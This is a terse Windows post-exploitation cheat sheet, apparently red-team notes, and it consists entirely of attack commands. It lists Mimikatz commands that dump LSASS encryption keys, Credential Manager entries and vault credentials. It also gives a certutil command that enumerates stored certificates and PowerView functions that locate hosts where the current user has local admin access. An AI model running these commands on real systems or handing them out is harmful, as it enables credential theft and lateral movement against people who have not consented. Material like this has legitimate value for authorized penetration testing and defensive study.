1. Dumping Lsass

sekurlsa::ekeys

2. Dumping Credential Manage

sekurlsa::credman

3. Look for DPAPI

4. Look for vaults

token::elevate vault::cred /patch

5. Look for stored certificates

certutil -store my

6. Got User?

Find-LocalAdminAccess
Find-WMILocalAdminAccess